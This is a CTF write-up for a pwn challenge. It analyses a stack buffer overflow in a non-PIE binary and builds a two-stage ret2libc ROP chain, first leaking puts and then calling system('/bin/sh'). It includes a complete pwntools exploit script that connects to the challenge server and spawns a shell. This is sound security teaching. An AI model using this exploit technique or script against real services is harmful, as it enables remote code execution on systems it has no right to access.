Challenge Name: The Archive’s Whisper
Category: PWN
CTF: MOJO-JOJO
Description: A quiet archive awaits your words, but its echo hides something unusual beneath the surface.
Connection: nc mojo-pwn.securinets.tn 9002
Initial Reconnaissance#
First, let’s examine the provided binary:
$ file main
main: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
$ checksec main
[*] '/path/to/main'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fc000)
Key observations:
- No PIE: Binary addresses are fixed, making ROP chain construction easier
- No canary: Stack buffer overflows won’t be detected
- NX enabled: Stack is non-executable, so we can’t execute shellcode directly
- Not stripped: Function names are preserved, helpful for analysis
Binary Analysis#
Main Function#
00000000004011e0 <main>:
4011e0: push rbp
4011e1: mov rbp,rsp
4011e4: mov eax,0x0
4011e9: call 40114f <setup> ; Setup I/O buffering
4011ee: mov eax,0x0
4011f3: call 4011b0 <vuln> ; Vulnerable function
4011f8: mov eax,0x0
4011fd: pop rbp
4011fe: ret
Vulnerable Function#
00000000004011b0 <vuln>:
4011b0: push rbp
4011b1: mov rbp,rsp
4011b4: sub rsp,0x40 ; Allocate 64 bytes
4011b8: lea rax,[rip+0xe49]
4011bf: mov rdi,rax
4011c2: call 401030 <puts@plt> ; Print message
4011c7: lea rax,[rbp-0x40] ; Buffer at rbp-0x40
4011cb: mov edx,0xc8 ; Read 200 bytes!
4011d0: mov rsi,rax
4011d3: mov edi,0x0
4011d8: call 401040 <read@plt>
4011dd: nop
4011de: leave
4011df: ret
The Vulnerability: Classic buffer overflow!
- Buffer size:
0x40(64 bytes) - Read size:
0xc8(200 bytes) - Overflow:
200 - 64 = 136bytes of controllable data beyond the buffer
Useless Gadget (Not So Useless!)#
0000000000401146 <useless_gadget>:
401146: push rbp
401147: mov rbp,rsp
40114a: pop rdi ; pop rdi; ret gadget!
40114b: ret
This gives us a crucial ROP gadget: pop rdi; ret at address 0x40114a.
Exploitation Strategy#
Since NX is enabled, we can’t execute shellcode on the stack. We’ll use a ret2libc attack:
Two-Stage Attack#
Stage 1: Leak libc address
- Use buffer overflow to control RIP
- Build ROP chain to call
puts(puts@got)- this leaks the runtime address ofputsin libc - Return to
mainto get another chance to exploit
Stage 2: Get shell
- Calculate libc base address from the leak
- Find addresses of
system()and"/bin/sh"in libc - Build ROP chain to call
system("/bin/sh")
Gathering Information#
ROP Gadgets#
objdump -M intel -d main | grep -E "(pop|ret)"
Found gadgets:
0x40114a:pop rdi; ret(from useless_gadget)0x401016:ret(for stack alignment)
GOT Addresses#
objdump -R main
puts@GOT:0x404000read@GOT:0x404008
PLT Addresses#
puts@PLT:0x401030main:0x4011e0
Libc Offsets#
$ readelf -s libc.so.6 | grep " puts@@"
puts@@GLIBC_2.2.5: 0x805a0
$ readelf -s libc.so.6 | grep " system@@"
system@@GLIBC_2.2.5: 0x53110
$ strings -a -t x libc.so.6 | grep "/bin/sh"
/bin/sh: 0x1a7ea4
Exploit Development#
Calculating Offset#
Buffer is at rbp-0x40, so:
- Padding to saved RBP:
0x40bytes - Saved RBP:
8bytes - Total offset to return address:
0x48(72 bytes)
Stage 1: Libc Leak#
payload1 = b'A' * 0x48 # Fill buffer + saved rbp
payload1 += p64(pop_rdi) # ROP: pop rdi; ret
payload1 += p64(puts_got) # ROP: puts@GOT as argument
payload1 += p64(puts_plt) # ROP: call puts()
payload1 += p64(main_addr) # ROP: return to main
This calls puts(puts@got), which prints the actual runtime address of puts in libc, then returns to main for stage 2.
Stage 2: Shell Exploitation#
# Calculate addresses
libc_base = leaked_puts - libc_puts_offset
system_addr = libc_base + libc_system_offset
bin_sh_addr = libc_base + libc_bin_sh_offset
# Build payload
payload2 = b'A' * 0x48 # Fill buffer + saved rbp
payload2 += p64(ret_gadget) # Stack alignment (important!)
payload2 += p64(pop_rdi) # ROP: pop rdi; ret
payload2 += p64(bin_sh_addr) # ROP: "/bin/sh" as argument
payload2 += p64(system_addr) # ROP: call system()
Note: The extra ret gadget is needed for stack alignment. Modern libc requires the stack to be 16-byte aligned when calling functions like system().
Final Exploit#
#!/usr/bin/env python3
from pwn import *
# Configuration
elf = ELF('./main')
libc = ELF('./libc.so.6')
# Addresses
pop_rdi = 0x40114a
puts_plt = 0x401030
puts_got = 0x404000
main_addr = 0x4011e0
ret_gadget = 0x401016
# Libc offsets
libc_puts = 0x805a0
libc_system = 0x53110
libc_bin_sh = 0x1a7ea4
# Connect
io = remote('mojo-pwn.securinets.tn', 9002)
# Stage 1: Leak libc
log.info("Stage 1: Leaking libc address...")
payload1 = b'A' * 0x48
payload1 += p64(pop_rdi)
payload1 += p64(puts_got)
payload1 += p64(puts_plt)
payload1 += p64(main_addr)
io.recvuntil(b'Enter your data:\n')
io.sendline(payload1)
leaked_puts = u64(io.recvline().strip().ljust(8, b'\x00'))
log.success(f"Leaked puts@libc: {hex(leaked_puts)}")
# Calculate addresses
libc_base = leaked_puts - libc_puts
system_addr = libc_base + libc_system
bin_sh_addr = libc_base + libc_bin_sh
log.info(f"system@libc: {hex(system_addr)}")
log.info(f"/bin/sh: {hex(bin_sh_addr)}")
# Stage 2: Get shell
log.info("Stage 2: Calling system('/bin/sh')...")
payload2 = b'A' * 0x48
payload2 += p64(ret_gadget)
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)
io.recvuntil(b'Enter your data:\n')
io.sendline(payload2)
log.success("Shell obtained!")
io.interactive()
Execution#
$ python3 exploit.py
[*] Stage 1: Leaking libc address...
[+] Leaked puts@libc: 0x7611997685a0
[+] Libc base: 0x7611996e8000
[*] system@libc: 0x76119973b110
[*] /bin/sh: 0x76119988fea4
[*] Stage 2: Calling system('/bin/sh')...
[+] Shell obtained!
$ ls
flag.txt
ld-linux-x86-64.so.2
libc.so.6
run
$ cat flag.txt
MOJO-JOJO{r3turn2l1bc_1s_2_34sy}
Final Flag#
MOJO-JOJO{r3turn2l1bc_1s_2_34sy}
Key Takeaways#
“Useless” functions aren’t always useless - The
useless_gadgetfunction provided the criticalpop rdi; retgadget needed for the attack.ret2libc is essential when NX is enabled - Can’t execute shellcode, so we chain existing code (ROP) to call library functions.
Two-stage attacks bypass ASLR - First leak addresses, then use them in the second stage.
Stack alignment matters - Modern x86-64 calling conventions require 16-byte stack alignment. That extra
retgadget ensures proper alignment.No PIE = Easy ROP - Fixed addresses make gadget finding and ROP chain construction much simpler.





